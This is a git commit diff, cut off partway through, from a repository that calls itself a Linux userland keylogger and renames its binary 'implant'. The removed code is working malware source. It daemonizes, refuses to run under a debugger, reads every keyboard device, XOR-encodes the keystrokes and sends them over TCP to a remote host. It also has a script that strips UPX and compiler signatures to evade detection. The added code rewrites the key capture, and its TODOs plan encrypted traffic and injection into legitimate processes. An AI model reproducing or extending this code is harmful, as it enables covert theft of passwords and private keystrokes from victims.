mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit f54a18624b8541761a498a42aa4ffe3a68245516
parent 10dfdb796ef24e3348f9124e2135330e862e6846
Author: winds0r <[email protected]>
Date: Sun, 4 Jun 2023 00:31:23 +0900

wip(logger): starting complete rewrite

Diffstat:
Mlogger/Makefile | 14++++++++------
Dlogger/clean_script | 15---------------
Dlogger/include/keylogger.h | 49-------------------------------------------------
Alogger/includes/implant.h | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dlogger/sources/get_keyboard.c | 67-------------------------------------------------------------------
Alogger/sources/keyboard.c | 135+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mlogger/sources/logger.c | 298+++++++++++++++++++++++++++++++++++++++++++++----------------------------------
Mlogger/sources/main.c | 95+++++++++++++------------------------------------------------------------------
Alogger/sources/opt.c | 43+++++++++++++++++++++++++++++++++++++++++++
Dlogger/sources/random_functions.c | 72------------------------------------------------------------------------
Dlogger/sources/socket.c | 43-------------------------------------------
Alogger/sources/utils.c | 154+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Alogger/utils/install-deps.sh | 23+++++++++++++++++++++++

13 files changed, 625 insertions(+), 461 deletions(-)

diff --git a/logger/Makefile b/logger/Makefile
@@ -2,13 +2,14 @@
 #### VARIABLES #########
 ########################
 
-NAME		 	= k3yl0gg3r
-CC			 	= gcc
+NAME		 	= implant
+CC			 	= clang
 RM			 	= rm -rf
 
-INCLUDES 	 	= -I./include/
-LINK_FLAG    	=
-CFLAGS 		 	= -Wall -Wextra -O2 -static -s -fPIC
+INCLUDES 	 	= -I./includes/
+LINK_FLAG    	= -lxkbcommon
+CFLAGS 		 	= -Wall -Wextra -O2 -fPIC -Weverything
+CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-unused-command-line-argument
 PATTERN 	 	= .c
 OBJPATTERN  	= .o
 SRC_DIR 		= ./sources
@@ -17,7 +18,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= get_keyboard.c socket.c logger.c random_functions.c
+SRC 		 	= opt.c utils.c keyboard.c logger.c
 
 ########################
 #### COMPILATION #######
@@ -53,3 +54,4 @@ fclean: clean
 re: fclean all
 
 .PHONY: all clean fclean re
+
diff --git a/logger/clean_script b/logger/clean_script
@@ -1,15 +0,0 @@
-#!/bin/python3
-import sys
-
-to_replace = []
-to_replace.append(b"$Info: This file is packed with the UPX executable packer http://upx.sf.net $")
-to_replace.append(b"$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $")
-to_replace.append(b"GCC: (GNU) 10.2.0")
-to_replace.append(b"UPX!")
-
-with open(sys.argv[1], 'rb') as file :
-  filedata = file.read()
-for target in to_replace:
-    filedata = filedata.replace(target, b'\0' * len(target))
-with open(sys.argv[1], 'wb') as file:
-  file.write(filedata)
diff --git a/logger/include/keylogger.h b/logger/include/keylogger.h
@@ -1,49 +0,0 @@
-
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
-#include <errno.h>
-#include <strings.h>
-#include <sys/select.h>
-#include <unistd.h>
-#include <linux/input.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdbool.h>
-
-#ifndef KEYLOGGER_H
-#define KEYLOGGER_H
-
-// logger.c
-#define BUFFER_SIZE 32
-#define NB_KEYCODES 84
-#define NB_EVENTS   512
-
-#define EV_KEY_PRESSED 1
-#define EV_KEY_RELEASE 0
-void log_keys(int *, int, int);
-
-// socket.c
-#define PORT ("5555")
-
-int connect_to_srv(char const *, int);
-
-// get_keyboard.c
-#define DIR_PATH    ("/dev/input/by-path/")
-#define LOG_PATH    ("/tmp/keylogger.log")
-
-int setup_log(void);
-int *get_keyboard_paths(int);
-
-// random_functions.c
-char *encrypt(char *);
-char *append(char *, char *);
-void refresh_set(fd_set *, int *);
-bool check_if_on_shift(bool, struct input_event);
-void sigchild_handler(int);
-void sigtrap_handler(int);
-void check_pid_status(pid_t);
-
-#endif /* KEYLOGGER_H */
diff --git a/logger/includes/implant.h b/logger/includes/implant.h
@@ -0,0 +1,78 @@
+
+#ifndef IMPLANT_H
+#define IMPLANT_H
+
+/*
+    TODO:
+
+    1. get current local /etc/default/keyboard &
+    translate it manually using struct input_event
+
+    2. cleanup select handling so that it doesn't suck massive balls
+
+    3. add support for TLS communications / some kind of enc.
+
+    4. enumerate process to see which can be interesting to inject into
+
+    5. use ptrace-less process injection to inject this in a legit program
+*/
+
+
+#include <sys/types.h>
+#include <stdint.h>
+
+/*
+    contains project settings, such as target
+    port & IP address, whether debug mode is enabled
+    or stuff like this
+*/
+typedef struct implant_s {
+
+    /* remote connection settings */
+    unsigned short port;
+    char ip[17];
+
+    /* debug settings */
+    int debug_enabled:1;
+
+    /* keyboard settings */
+    char locale[20];
+    int *kb_fd;
+} implant_t;
+
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the dprintf in the macro */
+
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(flag, s, ...) \
+    do { \
+        if (flag != 0) { \
+            dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
+        } \
+    } while (0)
+#endif
+
+
+// opt.c
+int parse_user_input(int, char **, implant_t *);
+
+// logger.c
+void keylog(implant_t *);
+
+// keyboard.c
+int get_locale(implant_t *);
+void fetch_available_keyboards(implant_t *);
+
+// utils.c
+int read_file(char const *, char **, implant_t *);
+size_t get_array_size(uint8_t **);
+char *remove_repeating_whitespaces(char *);
+void free_tab(uint8_t **);
+char **tabgen(const char *, char);
+
+
+#endif /* IMPLANT_H */
diff --git a/logger/sources/get_keyboard.c b/logger/sources/get_keyboard.c
@@ -1,67 +0,0 @@
-
-#include "keylogger.h"
-#include <stdbool.h>
-#include <stdint.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <dirent.h>
-#include <stdio.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <string.h>
-#include <linux/input.h>
-#include <errno.h>
-#include <unistd.h>
-#include <limits.h>
-
-static int is_keyboard(const struct dirent *file)
-{
-    size_t len = strlen(file->d_name);
-
-    return file->d_name[len - 3] == 'k'
-    && file->d_name[len - 2] == 'b'
-    && file->d_name[len - 1] == 'd';
-}
-
-int *get_keyboard_paths(int logfd)
-{
-    struct dirent **char_devices = 0x0;
-    int possible_paths = scandir(DIR_PATH, &char_devices, &is_keyboard, &alphasort);
-    int *result = NULL;
-    char *rpath = NULL;
-
-    if (possible_paths == -1 || chdir(DIR_PATH) < 0) {
-        dprintf(logfd, "Error:%s\n", strerror(errno));
-        return NULL;
-    }
-
-    rpath = malloc(sizeof(char) * BUFFER_SIZE);
-    result = malloc(sizeof(int) * (possible_paths + 1));
-
-    if (!rpath || !result) {
-        dprintf(logfd, "Error: could not allocate memory.\n");
-        return NULL;
-    }
-
-    result[possible_paths] = -1;
-
-    for (int ctr = -1; ++ctr < possible_paths;) {
-        dprintf(logfd, "Found keyboard:%s\n", char_devices[ctr]->d_name);
-        rpath = realpath(char_devices[ctr]->d_name, rpath);
-        result[ctr] = open(rpath, O_RDONLY);
-    }
-
-      for (int ctr = -1; ++ctr < possible_paths;)
-        free(char_devices[ctr]);
-    free(char_devices);
-
-    return result;
-}
-
-int setup_log(void)
-{
-    int result = open(LOG_PATH, O_WRONLY | O_TRUNC | O_CREAT, S_IRUSR);
-
-    return result;
-}
diff --git a/logger/sources/keyboard.c b/logger/sources/keyboard.c
@@ -0,0 +1,135 @@
+
+/*
+    keyboard handling and local support.
+*/
+
+
+#include "implant.h"
+
+#include <errno.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <unistd.h>
+
+
+static int is_kbd(const struct dirent *f) {
+    size_t len = strlen(f->d_name);
+
+    if (len < 3)
+        return 0;
+
+    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+}
+
+
+void fetch_available_keyboards(implant_t *instance) {
+
+    /*
+        input devices usually live in /dev/input/
+
+        you can identify the in the by-path subdirectory, which maps each
+        device name to a symlink
+
+        here, we will return set an array of file-descriptor for each available
+        keyboard on the machine, it should be appended with a -1 that should serve
+        as a NULL value
+    */
+
+    struct dirent **char_devices = NULL;
+    int possible_paths = scandir(
+        "/dev/input/by-path/",
+        &char_devices,
+        &is_kbd,
+        &alphasort
+    );
+
+    if (possible_paths == -1 || chdir("/dev/input/by-path/") < 0) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "could not find possible keyboard paths"
+        );
+
+        return;
+    }
+
+    instance->kb_fd = malloc(sizeof(int) * ((size_t)possible_paths + 1));
+    if (!instance->kb_fd) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "could not allocate memory for possible kb paths: %s",
+            strerror(errno)
+        );
+        return;
+    }
+
+    instance->kb_fd[possible_paths] = -1;
+    char rpath[2048] = {0};
+    for (int ctr = -1; ++ctr < possible_paths;) {
+        if (!realpath(char_devices[ctr]->d_name, rpath)) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] Could not run realpath(%s): %s",
+                char_devices[ctr]->d_name, strerror(errno)
+            );
+        } else instance->kb_fd[ctr] = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+    }
+
+      for (int ctr = -1; ++ctr < possible_paths;)
+        free(char_devices[ctr]);
+    free(char_devices);
+}
+
+
+static int parse_locale(char const *locale_fpath, implant_t *instance) {
+
+    char *buffer = NULL;
+    if (ERROR == read_file(locale_fpath, &buffer, instance))
+        return ERROR;
+
+    char **tab = tabgen(buffer, '\n');
+    if (!tab) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "Could not split buffer contents: %s",
+            buffer
+        );
+
+        free(buffer);
+        return ERROR;
+    }
+
+    for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
+
+        if (!strncmp(tab[i], "LANG=", 5)) {
+            strncpy(instance->locale, tab[i] + 5, 20);
+
+            /* safe to free all this and exit this function */
+            free_tab((uint8_t **)tab);
+            free(buffer);
+            return SUCCESSFUL;
+        }
+    }
+
+    DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
+    free_tab((uint8_t **)tab);
+    free(buffer);
+    return ERROR;
+}
+
+
+int get_locale(implant_t *instance) {
+
+    /*
+        function call is wrapped in order to support multiple distros
+        down the line.
+    */
+
+    return parse_locale("/etc/default/locale", instance);
+}
diff --git a/logger/sources/logger.c b/logger/sources/logger.c
@@ -1,146 +1,186 @@
 
-#include "keylogger.h"
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
+/*
+   key-logging is done here......yeah
+*/
+
+
+#include "implant.h"
+#include <alloca.h>
+#include <bits/types/struct_timeval.h>
+#include <stddef.h>
+#include <string.h>
 #include <errno.h>
-#include <strings.h>
 #include <sys/select.h>
-#include <unistd.h>
 #include <linux/input.h>
-#include <stdlib.h>
-#include <string.h>
 #include <sys/types.h>
-#include <stdbool.h>
-
-
-static char *KEYCODES[] = {
-    "<unknown>", "<ESC>",
-    "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
-    "<Backspace>", "<Tab>",
-    "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
-    "[", "]", "<Enter>", "<LCtrl>",
-    "a", "s", "d", "f", "g", "h", "j", "k", "l", ";",
-    "'", "`", "<LShift>",
-    "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/",
-    "<RShift>",
-    "<KP*>",
-    "<LAlt>", " ", "<CapsLock>",
-    "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
-    "<NumLock>", "<ScrollLock>",
-    "<KP7>", "<KP8>", "<KP9>",
-    "<KP->",
-    "<KP4>", "<KP5>", "<KP6>",
-    "<KP+>",
-    "<KP1>", "<KP2>", "<KP3>", "<KP0>",
-    "<KP.>",
-    "<unknown>", "<unknown>", "<unknown>",
-    "<F11>", "<F12>",
-    "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>",
-    "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "<unknown>",
-    "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
-    "<PageDown>", "<Insert>", "<Delete>", 0x0
-};
-
-static char *SHIFT_KEYCODES[] = {
-    "<unknown>", "<ESC>",
-    "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+",
-    "<Backspace>", "<Tab>",
-    "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
-    "{", "}", "<Enter>", "<LCtrl>",
-    "A", "S", "D", "F", "G", "H", "J", "K", "L", ":",
-    "\"", "~", "<LShift>",
-    "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">", "?",
-    "<RShift>",
-    "<KP*>",
-    "<LAlt>", " ", "<CapsLock>",
-    "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
-    "<NumLock>", "<ScrollLock>",
-    "<KP7>", "<KP8>", "<KP9>",
-    "<KP->",
-    "<KP4>", "<KP5>", "<KP6>",
-    "<KP+>",
-    "<KP1>", "<KP2>", "<KP3>", "<KP0>",
-    "<KP.>",
-    "<unknown>", "<unknown>", "<unknown>",
-    "<F11>", "<F12>",
-    "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>", "<unknown>",
-    "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "<unknown>",
-    "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
-    "<PageDown>", "<Insert>", "<Delete>", 0x0
-};
-
-static void send_log(int sockfd, int logfd, char *buffer, int len)
-{
-    if (!buffer || !(*buffer))
-        return;
-    if (logfd != -1)
-        write(logfd, buffer, len);
-    if (sockfd != -1) {
-        write(sockfd, encrypt(buffer), len);
-    }
+#include <unistd.h>
+#include <xkbcommon/xkbcommon.h>
+
+
+static int get_highest_fd(int *kbfd, int *i) {
+    if (!kbfd)
+        return -1;
+
+    int highest = -1;
+    for (*i = 0; kbfd[*i] != -1; (*i)++)
+        highest = (highest < kbfd[*i]) ? kbfd[*i] : highest;
+    return highest;
 }
 
-static void log_single_keyboard(int kbfd, int sockfd, int logfd)
-{
-    static char *buffer = 0x0;
-    static bool is_on_shift = false;
-    int bytes_read = 0;
-    int msg_length = 0;
-    struct input_event evt;
-    struct sigaction old;
-    struct sigaction new = {
-        .sa_handler = SIG_IGN,
-        .sa_flags = 0
-    };
-
-    sigemptyset(&new.sa_mask);
-    sigaction(SIGPIPE, &new, &old);
-    do {
-
-        bytes_read = read(kbfd, &evt, sizeof(struct input_event));
-        if (bytes_read == -1) {
-            break;
-        } else is_on_shift = check_if_on_shift(is_on_shift, evt);
-
-        if (evt.type == EV_KEY && evt.value == EV_KEY_PRESSED) {
-            if (is_on_shift)
-                buffer = append(buffer, SHIFT_KEYCODES[evt.code]);
-            else buffer = append(buffer, KEYCODES[evt.code]);
-        }
+static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
+    struct input_event evt = {0};
 
-        if (buffer && strlen(buffer) >= BUFFER_SIZE) {
-            msg_length = strlen(buffer);
-            send_log(sockfd, logfd, buffer, msg_length);
-            free(buffer);
-            buffer = 0x0;
-        }
-    } while (bytes_read < 0);
-    sigaction(SIGPIPE, &old, 0x0);
+    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+    if (bytes_read != sizeof(evt)) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] read() error: %s",
+            strerror(errno)
+        );
+
+        return ERROR;
+    }
 
+    // 1 = is_pressed
+    if (evt.type == EV_KEY && evt.value == 1) {
+        char key_description[256] = {0};
+        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+
+        xkb_keysym_get_name(keysym, key_description, 256);
+        printf("[+] Key pressed: %s\n", key_description);
+    }
+
+    return SUCCESSFUL;
 }
 
-void log_keys(int *keyboards_fd, int sockfd, int logfd)
-{
-    int nb_kb = - 1;
-    fd_set wrt;
-    fd_set rd;
-    fd_set err;
-    int select_status = 0;
 
-    while (keyboards_fd[++nb_kb] != -1);
+/*
+    main loop to listen for keys and stuff
+*/
+void keylog(implant_t *instance) {
+
+
+    /* first set up select etc */
+    int nb_kb = 0;
+    int highest_fd = get_highest_fd(instance->kb_fd, &nb_kb);
+    fd_set rd, err;
+    int status = 0;
+
+    if (highest_fd < 0 || !nb_kb) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] no keyboard found. exiting"
+        );
+        return;
+    }
+
+
+    /*
+       initialize xkbcommon context
+
+       this is the stuff that allows us to maps keys to
+       the correct language & manages special characters, shift, etc.
+    */
+
+    struct xkb_context *context = NULL;
+    struct xkb_keymap *keymap = NULL;
+    struct xkb_state *state = NULL;
+
+    context = xkb_context_new(0);
+    if (!context) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_context_new(): %s",
+            strerror(errno)
+        );
+
+        return;
+
+    }
+
+    keymap = xkb_keymap_new_from_names(context, NULL, 0);
+    if (!keymap) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_keymap_new_from_names(): %s",
+            strerror(errno)
+        );
+
+        goto LOG_FUNCTION_CLEANUP;
+    }
+
+    state = xkb_state_new(keymap);
+    if (!state) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_state_new(): %s",
+            strerror(errno)
+        );
+
+        goto LOG_FUNCTION_CLEANUP;
+    }
+
+
+    /* run the damn loop */
     while (1) {
-        refresh_set(&wrt, keyboards_fd);
-        refresh_set(&rd, keyboards_fd);
-        refresh_set(&err, keyboards_fd);
-        select_status = select(nb_kb + 1, &rd, &wrt, &err, 0x0);
-        if (select_status < 0) {
-            dprintf(logfd, "select status:%d -- exiting...\n", select_status);
-            break;
+
+        /* setup FD-sets */
+        for (int i = 0; i < nb_kb; i++) {
+            FD_SET(instance->kb_fd[i], &rd);
+            FD_SET(instance->kb_fd[i], &err);
+        }
+
+        /* check if a key has been pressed */
+        status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
+        if (status < 0) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] select error: %s",
+                strerror(errno)
+            );
+
+            goto LOG_FUNCTION_CLEANUP;
         }
-        for (int ctr = -1 ; ++ctr < nb_kb; )
-            if (FD_ISSET(keyboards_fd[ctr], &rd)) {
-                log_single_keyboard(keyboards_fd[ctr], sockfd, logfd);
+
+        /* check file descriptors (first for error, then for new input) */
+        for (int i = 0; i < nb_kb; i++) {
+            if (FD_ISSET(instance->kb_fd[i], &err)) {
+                DEBUG_LOG(
+                    instance->debug_enabled,
+                    "[!] Error on file descriptor %d",
+                    instance->kb_fd[i]
+                );
+
+                /*
+                    TODO: replace array of keyboard fd by a linked list so
+                    that it can cleanly be removed without breaking the
+                    logger
+                */
+
+                goto LOG_FUNCTION_CLEANUP;
             }
+
+            /* checking for new input here */
+            if (FD_ISSET(instance->kb_fd[i], &rd)) {
+
+                /* TODO: should we really kill the run here or can we recover this ? */
+                if (log_keyboard(instance->kb_fd[i], instance, state) == ERROR)
+                    goto LOG_FUNCTION_CLEANUP;
+            }
+
+        }
+
     }
+
+
+LOG_FUNCTION_CLEANUP:
+    if (state != NULL)
+        xkb_state_unref(state);
+
+    if (keymap != NULL)
+        xkb_keymap_unref(keymap);
+
+    if (context != NULL)
+        xkb_context_unref(context);
+
 }
diff --git a/logger/sources/main.c b/logger/sources/main.c
@@ -1,92 +1,27 @@
 
-#include "keylogger.h"
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <ctype.h>
-#include <signal.h>
-
-static void daemonize(void)
-{
-    pid_t pid = fork();
-
-    check_pid_status(pid);
-    if (setsid() < 0) // child should become session leader
-        exit(1);
-    pid = fork();
-    check_pid_status(pid);
-    umask(0); // setting correct file permissions
-    for (int x = sysconf(_SC_OPEN_MAX); x >= 0; x--) // closing open file desc
-        close(x);
-}
-
-static void setup_signals(void)
-{
-    struct sigaction sa = {
-        .sa_handler = sigchild_handler,
-        .sa_flags = SA_RESTART
-    };
-    struct sigaction sigtrap = {
-        .sa_handler = sigtrap_handler,
-        .sa_flags = SA_RESTART
-    };
-
-    sigemptyset(&sa.sa_mask);
-    sigaction(SIGCHLD, &sa, 0x0);
-    sigemptyset(&sigtrap.sa_mask);
-    sigaction(SIGTRAP, &sigtrap, 0x0);
-}
 
-bool debugger_is_attached(void)
-{
-    char buf[4096];
-
-    const int status_fd = open("/proc/self/status", O_RDONLY);
-    if (status_fd == -1)
-        return false;
-
-    const ssize_t num_read = read(status_fd, buf, sizeof(buf) - 1);
-    if (num_read <= 0)
-        return false;
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
 
-    buf[num_read] = '\0';
-    const char tracer_pid[] = "TracerPid:";
-    const char *tracer_pid_ptr = strstr(buf, tracer_pid);
-    if (!tracer_pid_ptr)
-        return false;
+#include "implant.h"
 
-    for (const char* char_ptr = tracer_pid_ptr + sizeof(tracer_pid) - 1; char_ptr <= buf + num_read; ++char_ptr)
-    {
-        if (isspace(*char_ptr))
-            continue;
-        else return isdigit(*char_ptr) != 0 && *char_ptr != '0';
-    }
 
-    return false;
-}
+int main(int ac, char **av) {
 
-int main(int ac, char **av)
-{
-    if (debugger_is_attached())
+    implant_t instance = {0};
+    if (ERROR == parse_user_input(ac, av, &instance))
         return 1;
 
-    daemonize();
-    setup_signals();
-    int logfd = setup_log();
-
-    int *keyboards = get_keyboard_paths(logfd);
-    int sockfd = connect_to_srv(ac == 1 ? 0x0 : av[1], logfd);
-    if (!keyboards || (sockfd == -1 && logfd == -1))
-        return 1;
+    get_locale(&instance);
+    DEBUG_LOG(
+        instance.debug_enabled,
+        "[*] Shibal settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
+        instance.ip, instance.port, instance.locale
+    );
 
-    log_keys(keyboards, sockfd, logfd);
-    for (int i = -1; keyboards[++i] != -1;)
-        close(keyboards[i]);
-    free(keyboards);
 
-    close(sockfd);
-    close(logfd);
+    fetch_available_keyboards(&instance);
+    keylog(&instance);
     return 0;
 }
-
diff --git a/logger/sources/opt.c b/logger/sources/opt.c
@@ -0,0 +1,43 @@
+/*
+   program's imput handling is handled here.
+   */
+
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+
+int parse_user_input(int ac, char **av, implant_t *settings) {
+    int c = 0;
+
+    do {
+        c = getopt(ac, av, "i:p:d");
+        switch (c) {
+            case 'i':
+                /* we got an IP address */
+                strncpy((char *)&settings->ip, optarg, 16);
+                break;
+
+            case 'p':
+                /* we got a port */
+                 settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+                 break;
+
+            case 'd':
+                 settings->debug_enabled = 1;
+                 break;
+
+            case '?':
+                 return ERROR;
+
+            default:
+                 break;
+        }
+    } while (c != -1);
+    return SUCCESSFUL;
+}
diff --git a/logger/sources/random_functions.c b/logger/sources/random_functions.c
@@ -1,72 +0,0 @@
-
-#include "keylogger.h"
-
-inline static bool is_shift(char code)
-{
-    return code == KEY_LEFTSHIFT || code == KEY_RIGHTSHIFT;
-}
-
-char *encrypt(char *message)
-{
-    char *key = "B4N4N4";
-    size_t messagelen = strlen(message);
-    size_t keylen = strlen(key);
-    char *encrypted = malloc(messagelen + 1);
-
-    for(size_t i = 0; i < messagelen; i++)
-        encrypted[i] = message[i] ^ key[i % keylen];
-    encrypted[messagelen] = '\0';
-    return encrypted;
-}
-
-bool check_if_on_shift(bool is_on_shift, struct input_event evt)
-{
-    if (evt.type == EV_KEY && evt.value == EV_KEY_PRESSED && is_shift(evt.code))
-        is_on_shift = true;
-    else if (evt.type == EV_KEY && evt.value == EV_KEY_RELEASE
-            && is_shift(evt.code))
-        is_on_shift = false;
-    return is_on_shift;
-}
-
-char *append(char *buffer, char *to_add)
-{
-    size_t new_len = 0;
-
-    if (!buffer || !(*buffer))
-        return strdup(to_add);
-    new_len = strlen(buffer) + strlen(to_add);
-    buffer = realloc(buffer, sizeof(char) * (new_len + 1));
-    buffer = strcat(buffer, to_add);
-    return buffer;
-}
-
-void refresh_set(fd_set *set, int *kb)
-{
-    int ctr = -1;
-
-    FD_ZERO(set);
-    while (kb[++ctr] != -1)
-        FD_SET(kb[ctr], set);
-}
-
-void check_pid_status(pid_t pid)
-{
-    if (pid < 0)
-        exit(1);
-    else if (pid > 0)
-        exit(0);
-}
-
-void sigtrap_handler(int code)
-{
-    (void)code;
-    exit(1);
-}
-
-void sigchild_handler(int code)
-{
-    (void)code;
-    while (waitpid(-1, NULL, WNOHANG) > 0);
-}
-
diff --git a/logger/sources/socket.c b/logger/sources/socket.c
@@ -1,43 +0,0 @@
-
-#include "keylogger.h"
-#include <arpa/inet.h>
-#include <asm-generic/socket.h>
-#include <netinet/in.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netdb.h>
-#include <stdio.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-
-int connect_to_srv(char const *target, int logfd)
-{
-    int flag = 1;
-    struct sockaddr_in addr = {
-        .sin_family = AF_INET,
-        .sin_port = htons(atoi(PORT)),
-        .sin_addr.s_addr = (target) ? inet_addr(target) : INADDR_ANY
-    };
-    int sockfd = socket(AF_INET, SOCK_STREAM, getprotobyname("TCP")->p_proto);
-
-    if (sockfd == -1 || !target) {
-        dprintf(logfd, "socket:%s\n", strerror(errno));
-        close(sockfd);
-        return -1;
-    } if (setsockopt(sockfd, SOL_SOCKET,
-    SO_REUSEADDR | SO_REUSEPORT, &flag, sizeof(int)) < 0) {
-        dprintf(logfd, "setsockopt:%s\n", strerror(errno));
-        close(sockfd);
-        return -1;
-    } if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-        dprintf(logfd, "connect:%s\n", strerror(errno));
-        close(sockfd);
-        return -1;
-    }
-
-    dprintf(logfd, "Socket successfully created!\n");
-    return sockfd;
-}
diff --git a/logger/sources/utils.c b/logger/sources/utils.c
@@ -0,0 +1,154 @@
+
+/*
+    random useful functions
+*/
+
+#include "implant.h"
+
+
+#include <stddef.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <stdio.h>
+
+/*
+   just a little utility function to read a generic text file.
+
+   implant_t struct is required to have debug logging. i should maybe
+   find a way to make this suck less, but we're not smart devs over here
+*/
+int read_file(char const *path, char **buffer, implant_t *instance) {
+
+    int fd = open(path, O_RDONLY);
+    if (fd < 0) {
+        DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+     // could use fseek but stat is posix so let's use that
+    struct stat st;
+    if (fstat(fd, &st) < 0) {
+        DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+    unsigned long filesize = (unsigned long)st.st_size;
+
+    *buffer = malloc(sizeof(char) * (filesize + 1));
+    if (!buffer || !(*buffer)) {
+        DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+    ssize_t bytes = read(fd, *buffer, filesize);
+    if (bytes != st.st_size) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] Should have read %ld bytes but read %ld (filepath: %s)",
+            st.st_size, bytes, path
+        );
+
+        if (bytes < 0) {
+            DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
+            return ERROR;
+        }
+    }
+
+    *buffer[bytes] = 0;
+    close(fd);
+    return SUCCESSFUL;
+}
+
+static size_t get_nb_cols(const char *str, int n, char separator)
+{
+    size_t i = (size_t)n;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    for (; str[i] != '\0' && str[i] != separator; i++, res++);
+    return (res);
+}
+
+static size_t get_nb_rows(const char *str, char separator)
+{
+    int i;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    if (str == NULL || str[0] == '\0')
+        return (0);
+    for (i = 0; str[i] != '\0'; i++)
+        if (str[i] == separator)
+            res++;
+    return (res + 1);
+}
+
+char **tabgen(const char *str, char separator)
+{
+    size_t i = 0;
+    size_t malloc_size = 0;
+    size_t index_str = 0;
+    char **res = NULL;
+
+    if (str == NULL || *str == 0)
+        return NULL;
+
+    res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+    for (; i < get_nb_rows(str, separator); i++) {
+        malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+        res[i] = malloc(sizeof(char) * (malloc_size + 4));
+        res[i] = strncpy(res[i], &str[index_str], malloc_size);
+        res[i][malloc_size] = '\0';
+
+        index_str = index_str + malloc_size + 1;
+    }
+
+    res[i] = NULL;
+    return (res);
+}
+
+void free_tab(uint8_t **tab)
+{
